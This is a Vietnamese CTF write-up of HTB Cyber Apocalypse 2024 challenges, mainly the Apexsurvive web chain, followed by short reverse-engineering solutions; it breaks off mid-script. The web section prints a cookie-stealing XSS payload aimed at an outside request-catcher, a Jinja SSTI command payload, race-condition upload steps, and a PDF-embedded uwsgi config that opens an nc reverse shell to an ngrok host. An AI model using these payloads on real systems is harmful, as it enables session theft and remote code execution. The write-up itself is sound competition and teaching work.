<p>Dạo này mình khá là hay viết wu các ctf challenge (chắc chắn không phải là do ngày trước mình lười), nó dường như đã tạo cho mình thói quen hàng tuần mình sẽ wu lại những challenge mình chơi và mình thấy hay và học được nhiều thứ từ nó. Câu lạc bộ mình tuần này có tham gia giải HTB - Cyber Apocalypse 2024, phải công nhận đây là một giải dài hơi và mình đã tốn tương đối thời gian cho các challenge web của giải này (cụ thể là 4 ngày) nhưng vẫn không thể solve được hết web challenge của giải, bản thân mình còn phải học hỏi rất nhiều nữa mới có thể hiểu và solve được dạng bài web cuối cùng nếu lần sau còn gặp lại. Giải đã kết thúc và cũng nhờ sự cố gắng, try hard của các anh em trong câu lạc bộ đến từ mọi mảng mà clb mình cũng đạt được thứ hạng mình nghĩ là khá cao.</p>
<p>Lan man vậy cũng đủ rồi, sau đây sẽ là quá trình mình và các teamates trong KCSC đi giải các challenge web HTB, cũng như cách hiểu của mình về web chall đó. Let's go!!</p>
<p><img src="https://hackmd.io/_uploads/BJWQ18b0p.png" alt="image" /></p>
<h3 id="heading-preface-2">Preface</h3>
<p>Đây là một chall white box nên mình download source về rồi dựng local khai thác cho nó tiện theo dõi :")))</p>
<p>Sau khi dựng xong thì mình cũng phải khá choáng vì dockerfile của bài này những 70 dòng, nên mình tò mò đọc để nắm trước cần phải làm gì ở chall này</p>
<pre><code class="lang-nginx"><span class="hljs-comment"># Setup flag</span>
<span class="hljs-attribute">COPY</span> flag.txt /root/flag
RUN chmod <span class="hljs-number">600</span> /root/flag

<span class="hljs-comment"># Setup readflag</span>
COPY config/readflag.c /
RUN gcc -o /readflag /readflag.c &amp;&amp; chmod <span class="hljs-number">4755</span> /readflag &amp;&amp; rm /readflag.c
</code></pre>
<p>Docker như này là mình phải RCE để lấy flag rùi Chall có 2 service, 1 service web chính chạy python, và service email chạy js (và bot), nên mình nghĩ chắc sẽ có cả lỗ hổng client side và server side trong challenge này</p>
<h3 id="heading-verify-email-token">Verify email token</h3>
<p>Vào chall thì mình được 'hướng dẫn' đăng kí với tên <code>test@email.htb</code> và để nhận được token email verify, nên cũng nhanh nhảu register và nhận được token ở endpoint <code>/email</code> khi đã vào account settings và chọn verify:</p>
<p><img src="https://hackmd.io/_uploads/HyQiJEmC6.png" alt="image" /></p>
<p>Sau khi verify mình thấy có chức năng report và tham số truyền vào là ID của sản phẩm có tại <code>/challenge/home</code>(nghe mùi xss quá)</p>
<p>Đi vào đọc source, mình thấy có endpoint <code>/eternal</code> khá hay khi cho phép redirect đến endpoint mình control:</p>
<pre><code class="lang-python"><span class="hljs-meta">@web.route('/external')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">external</span>():</span>
    url = request.args.get(<span class="hljs-string">'url'</span>, <span class="hljs-string">''</span>)

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> url:
        <span class="hljs-keyword">return</span> redirect(<span class="hljs-string">'/'</span>)

    <span class="hljs-keyword">return</span> redirect(url)
</code></pre>
<p>Với việc cookie được set <strong>samesite: strict</strong>, mình nghĩ đến việc bypass Samesite Strict bằng redirect nên đã ngồi với thằng này cả buổi nhưng không có kết quả 😢</p>
<h3 id="heading-mo-mam-source-code">Mò mẫm source code</h3>
<p>Sau khi tốn kha khá thời gian với thằng endpoint này mà không được kết quả gì, mình quyết định tạm thời bỏ qua và hướng đến các chức năng khác, có 2 chức năng đáng chú ý khi mình có thể lên được admin, đó là thêm sản phẩm/addItem và thêm contract/addContract.</p>
<ul>
<li>Chức năng thêm sản phẩm có thể được sử dụng khi mình thỏa mãn <strong>isInternal</strong> (cụ thể là thuộc tính <strong>isInternal</strong> của user trong db là true) thì có thể sử dụng, addItem dùng để thêm một sản phẩm mới vào shop. Tuy nhiên thì các input cũng đã được sanitize chỉ cho phép nhập vào các tag và attribute nhất định được quy định trong <code>middlewares.py</code></li>
</ul>
<pre><code class="lang-python"><span class="hljs-meta">@api.route('/addItem', methods=['POST'])</span>
<span class="hljs-meta">@isAuthenticated</span>
<span class="hljs-meta">@isVerified</span>
<span class="hljs-meta">@isInternal</span>
<span class="hljs-meta">@antiCSRF</span>
<span class="hljs-meta">@sanitizeInput</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">addItem</span>(<span class="hljs-params">decodedToken</span>):</span>
    name = request.form.get(<span class="hljs-string">'name'</span>, <span class="hljs-string">''</span>)
    price = request.form.get(<span class="hljs-string">'price'</span>, <span class="hljs-string">''</span>)
    description = request.form.get(<span class="hljs-string">'description'</span>, <span class="hljs-string">''</span>)
    image = request.form.get(<span class="hljs-string">'imageURL'</span>, <span class="hljs-string">''</span>)
    note = request.form.get(<span class="hljs-string">'note'</span>, <span class="hljs-string">''</span>)
    seller = request.form.get(<span class="hljs-string">'seller'</span>, <span class="hljs-string">''</span>)

    <span class="hljs-keyword">if</span> any(value == <span class="hljs-string">''</span> <span class="hljs-keyword">for</span> value <span class="hljs-keyword">in</span> [name, price, description, image, note, seller]):
        <span class="hljs-keyword">return</span> response(<span class="hljs-string">'All fields are required!'</span>), <span class="hljs-number">401</span>

    newProduct = addProduct(name, image, description, price, seller, note)

    <span class="hljs-keyword">if</span> newProduct:
        <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Product Added'</span>)

    <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Something went wrong!'</span>)
</code></pre>
<ul>
<li>Chức năng mình muốn nói đến thêm contract, khi upload 1 file lên, server lưu nội dung vào /<code>tmp/temporaryUpload</code> rồi mới check nội dung của file đó ở hàm checkPDF sử dụng PdfReader mode strict (khó cứu ca này). Nếu check thành công sẽ nối <code>/app/application</code>, <code>contracts</code> và file name bằng <strong>os.path.join</strong> để tạo thành file path hoàn chỉnh. Hàm <strong>path.join</strong> dính path traversal nặng và đây là lỗi mình cần khai thác để exploit path traversal upload file to RCE.</li>
</ul>
<p><img src="https://hackmd.io/_uploads/r1noqEQR6.png" alt="image" /></p>
<pre><code class="lang-python"><span class="hljs-meta">@api.route('/addContract', methods=['POST'])</span>
<span class="hljs-meta">@isAuthenticated</span>
<span class="hljs-meta">@isVerified</span>
<span class="hljs-meta">@isInternal</span>
<span class="hljs-meta">@isAdmin</span>
<span class="hljs-meta">@antiCSRF</span>
<span class="hljs-meta">@sanitizeInput</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">addContract</span>(<span class="hljs-params">decodedToken</span>):</span>
    name = request.form.get(<span class="hljs-string">'name'</span>, <span class="hljs-string">''</span>)

    uploadedFile = request.files[<span class="hljs-string">'file'</span>]

    <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> uploadedFile <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> name:
        <span class="hljs-keyword">return</span> response(<span class="hljs-string">'All files required!'</span>)

    <span class="hljs-keyword">if</span> uploadedFile.filename == <span class="hljs-string">''</span>:
        <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Invalid file!'</span>)

    uploadedFile.save(<span class="hljs-string">'/tmp/temporaryUpload'</span>)

    isValidPDF = checkPDF()

    <span class="hljs-keyword">if</span> isValidPDF:
        <span class="hljs-keyword">try</span>:
            filePath = os.path.join(current_app.root_path, <span class="hljs-string">'contracts'</span>, uploadedFile.filename)
            <span class="hljs-keyword">with</span> open(filePath, <span class="hljs-string">'wb'</span>) <span class="hljs-keyword">as</span> wf:
                <span class="hljs-keyword">with</span> open(<span class="hljs-string">'/tmp/temporaryUpload'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> fr:
                    wf.write(fr.read())

            <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Contract Added'</span>)
        <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> e:
            print(e, file=sys.stdout)
            <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Something went wrong!'</span>)

    <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Invalid PDF! what are you trying to do?'</span>)
</code></pre>
<ul>
<li>Buồn ở chỗ chức năng này không dễ có tí nào vì phải là admin thì mới sử dụng được, bài toán lúc này lại quay về việc làm thế nào để lên được admin</li>
</ul>
<p>Tiếp tục đọc source, mình ngốn khoảng 1 buổi tiếp theo để nghĩ cách bypass admin nhưng chẳng có cách nào khả thi, cũng may là cuộc thi kéo dài nhiều ngày nên mình có nhiều thời gian suy nghĩ hơn. Lúc này mình đã chịu và không tìm được cách leo lên admin, nhưng lại biết được vuln sau khi lên admin (aizzz chíc tịc). Nhận thấy chức năng report sẽ lấy credential của admin và gửi đi nên mình sử dụng chúng đăng nhập vào admin exploit lỗi upload file, các teammates sẽ lo vụ leo lên admin 😆</p>
<pre><code class="lang-plaintext">2024-03-16 22:34:49 127.0.0.1 - - [16/Mar/2024 15:34:49] "GET /visit?productID=1&amp;email=xclow3n@apexsurvive.htb&amp;password=d8Bfk5Fw6oiROrxqrS2TmLc4NF1ZHU3r0OQfZSzbHna2DGljQbEmNG6st7uZ9QQ7 HTTP/1.1" 200 -
</code></pre>
<h3 id="heading-exploit-file-upload">Exploit file upload</h3>
<p>Nói đến upload file python thì cách đầu tiên mình nghĩ đến là upload ghi đè file <code>__init__.py</code> nhưng web này lại không có nên hướng đi đó không khả thi cho lắm</p>
<p>Vì mới gần đây có một bài upload python cũng na ná, teammate <a target="_blank" href="https://hackmd.io/@machongnam">MacHongNam</a> đã gợi ý mình cách ghi đè file html và ssti trong file đó để khi server render_template sẽ trigger ssti để RCE. Điều kiện là file templates đó chưa được render lần nào, vì render_template sẽ ghi nhớ các lần render nên nếu render lỗi khả năng phải chạy lại docker làm lại là rất cao</p>
<p>Mình sẽ chọn templates <code>info.html</code> được render ở path <code>/</code> để inject -&gt; trang chủ giới thiệu, chỉ cần lúc đầu mình truy cập thẳng vào path <code>/challenge</code> và <code>/email</code> là được</p>
<pre><code class="lang-python"><span class="hljs-meta">@challengeInfo.route('/')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">info</span>():</span>
    <span class="hljs-keyword">return</span> render_template(<span class="hljs-string">'info.html'</span>)
</code></pre>
<p>File sau khi được upload sẽ <strong>lưu</strong> vào <code>/tmp/temporaryUpload</code> rồi mới được check, sau khi check thành công nội dung được đưa vào folder contracts hoặc là trả về thông báo invalid PDF.</p>
<p>\=&gt; Phải mất 2 lần ghi file thì file mới được ghi thành công, mình hoàn toàn có thể lợi dụng lúc file pdf đang được check để upload 1 file html nữa thế chỗ file pdf cũ</p>
<p>\=&gt; <strong>race condition</strong>, sau đó sử dụng path traversal ghi đè html là có thể rce thành công rồi</p>
<p>Mình bắt tay vào viết script upload file race condition nhưng bằng một lý do gì đấy mà script của mình đều ghi đè pdf vào templates thay vì file html mà mình mong muốn =))). Mình stuck ở đây cũng phải 2 tiếng trước khi quyết định méo dùng script python nữa mà chuyển qua xài Burp Repeater cho nó nhanh.</p>
<p>Server check pdf chặt nên mình sẽ gửi 1 pdf valid lấy mẫu request, và file html mình copy nguyên từ thằng gốc và nhét thêm dòng:</p>
<pre><code class="lang-python">{% print(namespace.__init__.__globals__.os.popen(<span class="hljs-string">'/readflag'</span>).read()) %}
</code></pre>
<p>Thay đổi tên file của các file html thành <code>/app/application/templates/info.html</code>, mình gửi đi cùng lúc 1 req upload pdf và 6 req upload html</p>
<p><img src="https://hackmd.io/_uploads/BJIR-rXRp.png" alt="image" /></p>
<p>Sau một hồi spam Ctrl Space thì mình đã ghi đè được file info.html</p>
<p><img src="https://hackmd.io/_uploads/SyOQfBmCp.png" alt="image" /></p>
<p>Khai thác thành công!!</p>
<p><img src="https://hackmd.io/_uploads/SJwvMBmAa.png" alt="image" /></p>
<p>Tuy rằng đã có thể khai thác thành công, nhưng mình vẫn chưa tìm được cách nào để có thể lên được admin, cùng lúc này teammate MacHongNam bảo mình hãy nghĩ cách để lên được <strong>isInternal</strong> nhằm sử dụng api <code>/addItem</code>, vì mình có thể dom based XSS tại endpoint <code>/product/product-id</code></p>
<h3 id="heading-bypass-sanitized-input-to-trigger-xss">Bypass sanitized input to trigger XSS</h3>
<p>Nghe như vậy thì mình đã tìm đến path addProduct để thêm sản phẩm, khi đọc đến <code>product.html</code> thì mình đã thấy vì sao có thể dom based XSS:</p>
<pre><code class="lang-javascript">&lt;script&gt;
    <span class="hljs-keyword">let</span> note = <span class="hljs-string">`{{ product.note | safe }}`</span>;
    <span class="hljs-keyword">const</span> clean = DOMPurify.sanitize(note, {<span class="hljs-attr">FORBID_ATTR</span>: [<span class="hljs-string">'id'</span>, <span class="hljs-string">'style'</span>], <span class="hljs-attr">USE_PROFILES</span>: {<span class="hljs-attr">html</span>:<span class="hljs-literal">true</span>}});

    <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'note'</span>).innerHTML += clean;
&lt;/script&gt;
</code></pre>
<p>Note là một thuộc tính mà mình control khi addProduct -&gt; sử dụng backtick escape khỏi đoạn khai báo note -&gt; XSS:</p>
<p><img src="https://hackmd.io/_uploads/rJKGwHQRa.png" alt="image" /></p>
<p>Kết hợp với việc có thể report cho admin về các product, mình có payload sau để lấy session của admin:</p>
<pre><code class="lang-javascript"><span class="hljs-string">`;fetch("https://9vja3pan.requestrepo.com/?"+document.cookie);//</span>
</code></pre>
<h3 id="heading-bypass-isinternal-with-race-condition">Bypass isInternal with race condition</h3>
<p>Tiếp tục vùi đầu vào đống source code, mình thấy được ở đoạn verifyEmail, email được tách ra thành tên và hostname, kiểu <code>a@gmail.com</code> thì tên là <code>a</code> và hostname là <code>gmail.com</code>. Nếu như hostname của mình là apexsurvive.htb thì database sẽ set <strong>isInternal="true"</strong>, đây chính là chỗ mình cần phải exploit</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">verifyEmail</span>(<span class="hljs-params">token</span>):</span>
    user = query(<span class="hljs-string">'SELECT * from users WHERE confirmToken = %s'</span>, (token, ), one=<span class="hljs-literal">True</span>)

    <span class="hljs-keyword">if</span> user <span class="hljs-keyword">and</span> user[<span class="hljs-string">'isConfirmed'</span>] == <span class="hljs-string">'unverified'</span>:
        _, hostname = parseaddr(user[<span class="hljs-string">'unconfirmedEmail'</span>])[<span class="hljs-number">1</span>].split(<span class="hljs-string">'@'</span>, <span class="hljs-number">1</span>)

        <span class="hljs-keyword">if</span> hostname == <span class="hljs-string">'apexsurvive.htb'</span>:
            query(<span class="hljs-string">'UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", confirmToken="", isInternal="true" WHERE id=%s'</span>, (<span class="hljs-string">'verified'</span>, user[<span class="hljs-string">'unconfirmedEmail'</span>], user[<span class="hljs-string">'id'</span>],))
        <span class="hljs-keyword">else</span>:
            query(<span class="hljs-string">'UPDATE users SET isConfirmed=%s, email=%s, unconfirmedEmail="", confirmToken="" WHERE id=%s'</span>, (<span class="hljs-string">'verified'</span>, user[<span class="hljs-string">'unconfirmedEmail'</span>], user[<span class="hljs-string">'id'</span>],))

        mysql.connection.commit()
        <span class="hljs-keyword">return</span> <span class="hljs-literal">True</span>

    <span class="hljs-keyword">return</span> <span class="hljs-literal">False</span>
</code></pre>
<p>Ngặt nghèo ở chỗ là trang email của chúng ta chỉ nhận email gửi đến <code>test@email.htb</code> 😢. Sau khi bế's tắc một khoảng thời gian khá lâu thì teammate Chương tìm ra được cách để nhận được email của tài khoản có hostname <code>apexsurvive.htb</code> là <strong>race condition:</strong></p>
<ul>
<li>Khi chỉnh sửa profile từ một email đã verify thành một email khác, server sẽ tự gửi token đến email đó</li>
</ul>
<pre><code class="lang-python"><span class="hljs-meta">@api.route('/profile', methods=['POST'])</span>
    ...
    <span class="hljs-keyword">if</span> result:
        <span class="hljs-keyword">if</span> result == <span class="hljs-string">'email changed'</span>:
            sendEmail(decodedToken.get(<span class="hljs-string">'id'</span>), email)
        <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Profile updated!'</span>)
</code></pre>
<ul>
<li>API sendVerification cho biết server sẽ lấy thông tin của user đó, kiểm tra xem user đã được confirm email chưa, nếu chưa sẽ gửi token đến email đó</li>
</ul>
<pre><code class="lang-python"><span class="hljs-meta">@api.route('/sendVerification', methods=['GET'])</span>
<span class="hljs-meta">@isAuthenticated</span>
<span class="hljs-meta">@sanitizeInput</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sendVerification</span>(<span class="hljs-params">decodedToken</span>):</span>
    user = getUser(decodedToken.get(<span class="hljs-string">'id'</span>))

    <span class="hljs-keyword">if</span> user[<span class="hljs-string">'isConfirmed'</span>] == <span class="hljs-string">'unverified'</span>:
        <span class="hljs-keyword">if</span> checkEmail(user[<span class="hljs-string">'unconfirmedEmail'</span>]):
            sendEmail(decodedToken.get(<span class="hljs-string">'id'</span>), user[<span class="hljs-string">'unconfirmedEmail'</span>])
            <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Verification link sent!'</span>)
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">return</span> response(<span class="hljs-string">'Invalid Email'</span>)

    <span class="hljs-keyword">return</span> response(<span class="hljs-string">'User already verified!'</span>)
</code></pre>
<p>-&gt; Có thể race condition save profile 2 email, đồng thời sendVerification để yêu cầu gửi token đến email, từ đó ghi đè nội dung server gửi cho <code>test@email.htb</code> thành của <code>test@apexsurvive.htb</code>, từ đó lấy token của email <code>test@apexsurvive.htb</code> đi verify là được <strong>isInternal=true</strong>.</p>
<h3 id="heading-complete-the-attack-chain-amp-exploit">Complete the attack chain &amp; Exploit</h3>
<p>Các bước tấn công đã đầy đủ, nên mình sẽ tổng hợp lại như sau:</p>
<ul>
<li><p>Race condition verify email -&gt; bypass isInternal</p>
</li>
<li><p>Dom Based XSS tại /addProduct -&gt; lấy session admin/ bypass admin</p>
</li>
<li><p>Race condition upload file -&gt; RCE</p>
</li>
</ul>
<p>Attack chain có tận 2 lần race condition nên việc có thể solve nhanh hay chậm nó phụ thuộc vào may mắn khá nhiều =)), sau khi rõ hướng thì mình deploy web rồi làm luôn và theo như mình thấy thì race verify email là công đoạn lâu nhất.</p>
<ul>
<li><p>Bypass isInternal</p>
<p>  Mình tiếp tục sử dụng Burp Repeater để race condition email, với 3 req sendVerification, 1 req update profile <code>test@email.htb</code> và 1 req <code>test@apexsurvive.htb</code>:</p>
</li>
</ul>
<p><img src="https://hackmd.io/_uploads/HJaQ_L7R6.png" alt="image" /></p>
<p>Cuối cùng cũng có token có thể verify</p>
<p><img src="https://hackmd.io/_uploads/rJd7c8QAa.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/r1L4qLQAa.png" alt="image" /></p>
<ul>
<li><p>Bypass admin</p>
<p>  Sử dụng payload bên trên và report product id, mình có admin token:</p>
</li>
</ul>
<p><img src="https://hackmd.io/_uploads/SJeAcLXCT.png" alt="image" /></p>
<p><img src="https://hackmd.io/_uploads/SJSTiUXCT.png" alt="image" /></p>
<p>Đến giờ truy cập admin để RCE rồi</p>
<p><img src="https://hackmd.io/_uploads/HJJE3LX06.png" alt="image" /></p>
<ul>
<li><p>Upload file</p>
<p>  Mình làm y hệt như ở trên local và lụm được flag của challenge:</p>
</li>
</ul>
<p><img src="https://hackmd.io/_uploads/rJ27AU7CT.png" alt="image" /></p>
<h3 id="heading-flag-4">Flag</h3>
<p><code>HTB{0H_c0m3_0n_r4c3_c0nd1t10n_4nd_C55_1nj3ct10n_15_F1R3}</code></p>
<p>P/s: Sau khi làm xong mình mới thấy là nếu như render ra pdf thì trang web sẽ bị lỗi và không lưu lại template đó nên mình có thể tiếp tục race mà không phải redeploy challenge.</p>
<h3 id="heading-another-workaround-to-bypass-pdf-upload">Another workaround to bypass PDF upload</h3>
<p>Sau khi đi tản mạn write up của mọi người, mình có tìm được bài write up này có một solution khác để trigger RCE thông qua upload file:</p>
<p><a target="_blank" href="https://blog.elmosalamy.com/posts/apexsurvive-writeup-htb-cyber-apocalypse-2024/">https://blog.elmosalamy.com/posts/apexsurvive-writeup-htb-cyber-apocalypse-2024/</a></p>
<p>Đây là một cách rất hay khi server <code>uwsgi</code> dính lỗi arbitary PDF upload, cụ thể là nhằm vào file <code>uwgsi.ini</code> (Chi tiết ở document): <a target="_blank" href="https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html">https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html</a></p>
<ul>
<li><p><code>uwsgi</code> có khả năng đọc file config của chính nó kể cả khi file dưới dạng binary, miễn sao nó tìm được chuỗi bắt đầu khai báo config hợp lệ: <code>[uwsgi]</code></p>
</li>
<li><p><code>uwsgi</code> sử dụng operator <code>@</code> và các scheme để hỗ trợ include, đọc file và call các function, trong đó có scheme <code>exec</code> dùng để thực thi câu lệnh -&gt; Thứ mình cần dùng:</p>
</li>
</ul>
<pre><code class="lang-plaintext">    [uwsgi]
    ; read from a process stdout
    body = @(exec://whoami)
</code></pre>
<p>Việc tấn công vào file ini sẽ cần một yếu tố quan trọng khác: Làm thế nào để <code>uwsgi</code> reload lại config của chính nó?</p>
<p>Điều này có thể được giải quyết nếu như uwsgi config sẵn chức năng dùng để debug <code>py-auto-reload</code>, nếu như phát hiện sự thay đổi của các file trong server thì config sẽ được reload.</p>
<p>Việc upload file PDF là chưa đủ, nên sau đó mình cần phải ghi đè một file <code>.py</code> thì server mới reload lại config, từ đó trigger RCE.</p>
<pre><code class="lang-plaintext">  py-autoreload = 3
</code></pre>
<p>Document cũng có luôn cả POC nên mình sẽ sửa để đổi thành payload reverse shell:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> fpdf <span class="hljs-keyword">import</span> FPDF
<span class="hljs-keyword">from</span> exiftool <span class="hljs-keyword">import</span> ExifToolHelper

<span class="hljs-keyword">with</span> ExifToolHelper() <span class="hljs-keyword">as</span> et:
    et.set_tags(
        [<span class="hljs-string">"lmao.jpg"</span>],
        tags={<span class="hljs-string">"model"</span>: <span class="hljs-string">"&amp;#x0a;[uwsgi]&amp;#x0a;foo = @(exec://nc 0.tcp.ap.ngrok.io 18726 -e /bin/sh)&amp;#x0a;"</span>},
        params=[<span class="hljs-string">"-E"</span>, <span class="hljs-string">"-overwrite_original"</span>]
    )
<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">MyFPDF</span>(<span class="hljs-params">FPDF</span>):</span>
    <span class="hljs-keyword">pass</span>

pdf = MyFPDF()

pdf.add_page()
pdf.image(<span class="hljs-string">'./lmao.jpg'</span>)
pdf.output(<span class="hljs-string">'exploit.pdf'</span>, <span class="hljs-string">'F'</span>)
</code></pre>
<p>Lưu ý: Nếu báo lỗi không có module exiftool thì mình sẽ chạy câu lệnh</p>
<pre><code class="lang-plaintext">    python3 -m pip install -U pyexiftool
</code></pre>
<p>Sau khi gen ra PDF thì mình gửi đi để ghi đè <code>/app/uwsgi.ini</code></p>
<p><img src="https://hackmd.io/_uploads/ByNAHNrR6.png" alt="image" /></p>
<p>Ghi đè tiếp <code>/app/application/database.py</code> để trigger <code>uwgsi</code> reload lại config</p>
<p><img src="https://hackmd.io/_uploads/BJ0GU4BAT.png" alt="image" /></p>
<p>Log server thông báo việc file <code>database.py</code> đã bị thay đổi, tiến hành kill tiến trình và khởi động lại /app, load lại config</p>
<p><img src="https://hackmd.io/_uploads/HJ4zLESRp.png" alt="image" /></p>
<p>Reverse Shell thành công</p>
<p><img src="https://hackmd.io/_uploads/SyS4L4H0p.png" alt="image" /></p>
<hr />
<h1 id="heading-reverse-engineering">Reverse Engineering</h1>
<h2 id="heading-lootstash">LootStash</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p>Cách nhanh nhất là <code>shift + f12</code> và tìm format <code>HTB</code>để lấy flag</p>
<h3 id="heading-flag-5">Flag</h3>
<p><code>HTB{n33dl3_1n_a_l00t_stack}</code></p>
<h2 id="heading-packedaway">PackedAway</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p>Nhìn tên bài thì ta cũng biết bài này đã bị pack. Để chắc chắn hơn ta có thể dùng DIE hoặc <code>file</code> để check</p>
<p><img src="https://hackmd.io/_uploads/SkI1KHbRT.png" alt="Screenshot from 2024-03-15 00-03-46" /></p>
<p>File này đã bị pack vậy nên ta tiến hành unpack. Sau khi unpack cũng như bài trước ta sẽ search string để tìm thử format flag và ta thấy flag.</p>
<h3 id="heading-flag-6">Flag</h3>
<p><code>HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}</code></p>
<h2 id="heading-boxcutter">BoxCutter</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p>Ta check main như sau:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> __fastcall <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span>
</span>{
    <span class="hljs-keyword">char</span> file[<span class="hljs-number">8</span>]; <span class="hljs-comment">// [rsp+0h] [rbp-20h] BYREF</span>
    __int64 v5[<span class="hljs-number">2</span>]; <span class="hljs-comment">// [rsp+8h] [rbp-18h]</span>
    <span class="hljs-keyword">int</span> fd; <span class="hljs-comment">// [rsp+18h] [rbp-8h]</span>
    <span class="hljs-keyword">unsigned</span> <span class="hljs-keyword">int</span> i; <span class="hljs-comment">// [rsp+1Ch] [rbp-4h]</span>

    *(_QWORD *)file = <span class="hljs-number">0x540345434C75637F</span>LL;
    v5[<span class="hljs-number">0</span>] = <span class="hljs-number">0x68045F4368505906</span>LL;
    *(__int64 *)((<span class="hljs-keyword">char</span> *)v5 + <span class="hljs-number">7</span>) = <span class="hljs-number">0x374A025B5B035468</span>LL;
    <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i &lt;= <span class="hljs-number">0x16</span>; ++i )
    {
        file[i] ^= <span class="hljs-number">0x37</span>u;
    }

    fd = open(file, <span class="hljs-number">0</span>);
    <span class="hljs-keyword">if</span> ( fd &gt; <span class="hljs-number">0</span> )
    {
        <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[*] Box Opened Successfully"</span>);
        close(fd);
    }
    <span class="hljs-keyword">else</span>
    {
        <span class="hljs-built_in">puts</span>(<span class="hljs-string">"[X] Error: Box Not Found"</span>);
    }

    <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>Chương trình khá đơn giản ta chỉ cần chú ý vào vòng lặp <code>for ( i = 0; i &lt;= 0x16; ++i ) { file[i] ^= 0x37u; }</code> chương trình sẽ xor từng kí tự trong file với 0x37u ta sẽ đặt breakpoint để lấy giá trị ra</p>
<p><img src="https://hackmd.io/_uploads/Hyrlir-RT.png" alt="image" /></p>
<h3 id="heading-flag-7">Flag</h3>
<p><code>HTB(tr4c1ng_th3_c4ll5})</code></p>
<h2 id="heading-crushing">CRUSHING</h2>
<p><strong><em>credit: Trohan0x00</em></strong></p>
<p>Đề cho ta 1 file thực thi và 1 file data, check xem thử file data thế nào</p>
<p><img src="https://hackmd.io/_uploads/rk1PCHWAp.png" alt="Screenshot from 2024-03-15 00-26-26" /></p>
<p>Có lẽ đây là flag hoặc output gì đó của chương trình được enc và lưu ở đây, để rõ hơn thì mình sẽ phân tích file ELF kia</p>
<p><img src="https://hackmd.io/_uploads/B1LIpH-06.png" alt="image" /></p>
<p>Quăng vào IDA thì thấy hàm main khá đơn giản, đập vào mình đầu tiên thì chương trình call hai hàm rất đáng nghi là <code>add_char_to_map</code> và <code>serialize_and_output</code>, input nhận từng kí tự hàm check sẽ dừng chương trình chỉ khi <code>input = -1</code></p>
<p>Hàm <code>add_char_to_map</code> sẽ đưa từng kí tự input vào có lẽ để thực hiện ánh xạ vào structure nào đó, ta sẽ check thử</p>
<p><img src="https://hackmd.io/_uploads/SkwZTKWAp.png" alt="image" /></p>
<p>Hàm này về cơ bản là để check các byte value. Mỗi vị trí chứa một danh sách liên kết của phần đối số. Mỗi phần tử có một index trỏ đến vị trí của ký tự trong file data, ta check xem hàm thứ hai</p>
<p><img src="https://hackmd.io/_uploads/Sk09ecWAa.png" alt="image" /></p>
<p>Phần <code>list_len</code> tính xem danh sách liên kết của <code>char</code> dài bao nhiêu thì nó sẽ in ra, sau đó nó sẽ in phần <code>index char</code>, lặp 256 lần vì byte từ 0 đến 255.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> struct

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_message</span>(<span class="hljs-params">file_path</span>):</span>
    <span class="hljs-keyword">with</span> open(file_path, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
        char_to_positions = {}

        <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> range(<span class="hljs-number">256</span>):
            <span class="hljs-keyword">if</span> len(f.read(<span class="hljs-number">8</span>)) &lt; <span class="hljs-number">8</span>:
                <span class="hljs-keyword">break</span>

            f.seek(<span class="hljs-number">-8</span>, <span class="hljs-number">1</span>)

            list_len = struct.unpack(<span class="hljs-string">'Q'</span>, f.read(<span class="hljs-number">8</span>))[<span class="hljs-number">0</span>]

            positions = []
            <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(list_len):
                <span class="hljs-keyword">if</span> len(f.read(<span class="hljs-number">8</span>)) &lt; <span class="hljs-number">8</span>:
                    <span class="hljs-keyword">break</span>

                f.seek(<span class="hljs-number">-8</span>, <span class="hljs-number">1</span>)

                positions.append(struct.unpack(<span class="hljs-string">'Q'</span>, f.read(<span class="hljs-number">8</span>))[<span class="hljs-number">0</span>])

            char_to_positions[char] = positions

